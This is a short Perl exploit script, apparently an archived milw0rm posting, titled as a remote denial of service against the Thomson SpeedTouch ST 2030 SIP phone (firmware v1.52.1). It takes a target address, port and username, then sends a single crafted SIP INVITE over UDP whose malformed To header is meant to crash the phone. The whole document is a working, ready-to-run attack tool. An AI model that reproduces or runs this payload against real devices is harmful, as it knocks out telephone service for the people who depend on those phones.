Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service

#!/usr/bin/perl

#Vulneravility for Thomson 2030 firmware v1.52.1

#It provokes a DoS in the device.

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);


$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=00\r\nFrom: <sip:tucu\@192.168.1.2>;tag=00\r\nTo: <A15+-97:=:\%0B>;tag=00\r\nCall-ID: humbol\@192.168.1.2\r\nCSeq: 1 INVITE\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-08-27]